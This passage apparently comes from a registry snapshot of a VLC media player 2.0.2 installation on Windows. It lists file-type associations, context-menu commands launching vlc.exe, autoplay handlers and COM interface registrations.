"MultiSelectModel" = "Player"

[HKCR\.mpeg1]
"(Default)" = "VLC.mpeg1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.asf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.mpeg1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv]
"(Default)" = "VLC media file (.amv)"

[HKCR\VLC.mp4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mpg]
"(Default)" = "VLC.mpg"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp2" = "VLC.3gp2"

[HKCR\VLC.mlp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDAudioOnArrival]
"VLCPlayDVDAudioOnArrival" = ""

[HKCR\VLC.drc]
"(Default)" = "VLC media file (.drc)"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"vendor" = "VideoLAN"

[HKCR\VLC.tta\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s]
"(Default)" = "VLC media file (.b4s)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wmv" = "VLC.wmv"

[HKCR\VLC.wv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2]
"(Default)" = "VLC media file (.mpv2)"

[HKCR\VLC.m4v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adt" = ""

[HKCR\.rec]
"(Default)" = "VLC.rec"

[HKCR\.mid]
"(Default)" = "VLC.mid"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vqf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mpc]
"(Default)" = "VLC.mpc"

[HKCR\VLC.rmvb\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adt" = "VLC.adt"

[HKCR\VLC.vlc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell]
"(Default)" = "Open"

[HKCR\VLC.xm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ram\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx]
"(Default)" = "VLC media file (.spx)"

[HKCR\VLC.tta\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aiff\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u]
"(Default)" = "VLC media file (.m3u)"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.wav\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.wv\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".webm" = ""
".ogx" = ""
".au" = ""

[HKCR\VLC.drc\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nsv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aifc]
"(Default)" = "VLC.aifc"

[HKCR\Applications\vlc.exe\SupportedTypes]
".drc" = ""

[HKCR\VLC.rmi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.avi]
"(Default)" = "VLC media file (.avi)"

[HKCR\VLC.s3m\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.cue]
"(Default)" = "VLC.cue"

[HKCR\.ogv]
"(Default)" = "VLC.ogv"

[HKCR\VLC.mp4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Directory\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m3u8]
"(Default)" = "VLC media file (.m3u8)"

[HKCR\VLC.it\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.asf]
"(Default)" = "VLC.asf"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.voc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ac3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xspf]
"(Default)" = "VLC media file (.xspf)"

[HKCR\VLC.m4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OGA" = "VLC.oga"
".OGG" = "VLC.ogg"

[HKCR\.ifo]
"(Default)" = "VLC.ifo"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogm" = "VLC.ogm"

[HKCR\VLC.adts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.sdp\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogx" = "VLC.ogx"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.caf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".WV" = "VLC.wv"

[HKCR\VLC.ts\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\RegisteredApplications]
"vlc" = "Software\Clients\Media\VLC\Capabilities"

[HKCR\VLC.669\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpg" = ""
".mpe" = ""
".MPC" = ""
".mpa" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tod" = "VLC.tod"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mod\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\shell\Open]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell]
"(Default)" = "Open"

[HKCR\VLC.mpg\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\Clients\Media\VLC]
"(Default)" = "VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP1" = ""

[HKCR\VLC.rmi\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.s3m\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4v]
"(Default)" = "VLC media file (.m4v)"

[HKCR\VLC.vlc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.xm]
"(Default)" = "VLC.xm"

[HKCR\VLC.mod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aifc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U" = "VLC.m3u"

[HKCR\VLC.caf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp]
"(Default)" = "VLC media file (.sdp)"

[HKCR\VLC.qcp\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".snd" = ""

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".f4v" = ""

[HKCR\VLC.3g2]
"(Default)" = "VLC media file (.3g2)"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.divx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.au]
"(Default)" = "VLC.au"

[HKCR\Applications\vlc.exe\SupportedTypes]
".FLAC" = ""

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vob]
"(Default)" = "VLC.vob"

[HKCR\VLC.mpa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mod]
"(Default)" = "VLC media file (.mod)"

[HKCR\VLC.rmi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell]
"(Default)" = "Open"

[HKCR\.mpeg]
"(Default)" = "VLC.mpeg"

[HKCR\VLC.mpeg1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3g2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vro" = ""

[HKCR\.pls]
"(Default)" = "VLC.pls"

[HKCR\VLC.divx]
"(Default)" = "VLC media file (.divx)"

[HKCR\VLC.drc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vro\shell]
"(Default)" = "Open"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vlc" = ""

[HKCR\VLC.avi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa]
"(Default)" = "VLC media file (.xa)"

[HKCR\VLC.xspf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.divx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.bin\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u8\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.cda\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.m4v\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vqf\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".SPX" = "VLC.spx"

[HKCR\VLC.m4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.pls\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"Publisher" = "VideoLAN"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XSPF" = ""

[HKCR\VLC.rmvb\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.aiff\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.nsv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp2v]
"(Default)" = "VLC.mp2v"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeProgID" = "VLC.DVDMovie"

[HKCR\.wv]
"(Default)" = "VLC.wv"

[HKCR\VLC.mp4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aif" = "VLC.aif"

[HKCR\VLC.aob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell]
"(Default)" = "Open"

[HKCR\VLC.webm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wmv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vlc" = "VLC.vlc"

[HKCR\VLC.3gp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mlp]
"(Default)" = "VLC media file (.mlp)"

[HKCR\VLC.adts]
"(Default)" = "VLC media file (.adts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wma" = "VLC.wma"

[HKCR\VLC.rmvb\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gpp" = "VLC.3gpp"
".ts" = "VLC.ts"

[HKCR\VLC.rec\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ifo" = "VLC.ifo"

[HKCR\VLC.cue]
"(Default)" = "VLC media file (.cue)"

[HKCR\VLC.webm\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoCDMovieOnArrival]
"VLCPlayVCDMovieOnArrival" = ""

[HKCR\VLC.mid\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dts" = ""

[HKCR\VLC.vob\shell]
"(Default)" = "Open"

[HKCR\.m1v]
"(Default)" = "VLC.m1v"

[HKCR\VLC.dv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".669" = "VLC.669"
".divx" = "VLC.divx"

[HKCR\VLC.wv]
"(Default)" = "VLC media file (.wv)"

[HKCR\VLC.ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.s3m]
"(Default)" = "VLC.s3m"

[HKCR\.it]
"(Default)" = "VLC.it"

[HKCR\VLC.mid\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u8\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2v" = "VLC.m2v"
".m2t" = "VLC.m2t"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Version" = "2.0.2"

[HKCR\VLC.ogv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.mov\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cda\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mka\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.snd\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.m4v]
"(Default)" = "VLC.m4v"

[HKCR\VLC.w64\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob]
"(Default)" = "VLC media file (.aob)"

[HKCR\VLC.snd\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm\shell\Open]
"(Default)" = "Play"

[HKCR\.tts]
"(Default)" = "VLC.tts"

[HKCR\VLC.mpeg1]
"(Default)" = "VLC media file (.mpeg1)"

[HKCR\VLC.mov]
"(Default)" = "VLC media file (.mov)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Action" = "Play audio DVD"

[HKCR\VLC.vro\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.sdp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg" = "VLC.mpeg"

[HKCR\.xspf]
"(Default)" = "VLC.xspf"

[HKCR\VLC.bin\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.b4s\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".qcp" = "VLC.qcp"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg2\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.tts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669]
"(Default)" = "VLC media file (.669)"

[HKCR\VLC.bin]
"(Default)" = "VLC media file (.bin)"

[HKCR\VLC.flv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.aob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mts]
"(Default)" = "VLC.mts"

[HKCR\VLC.adts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".gxf" = "VLC.gxf"

[HKCR\VLC.vro]
"(Default)" = "VLC media file (.vro)"

[HKCR\VLC.aifc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amr\shell]
"(Default)" = "Open"

[HKCR\.asx]
"(Default)" = "VLC.asx"

[HKCR\.b4s]
"(Default)" = "VLC.b4s"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vqf" = ""

[HKCR\VLC.w64\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.3ga]
"(Default)" = "VLC media file (.3ga)"

[HKCR\VLC.mpg\DefaultIcon]
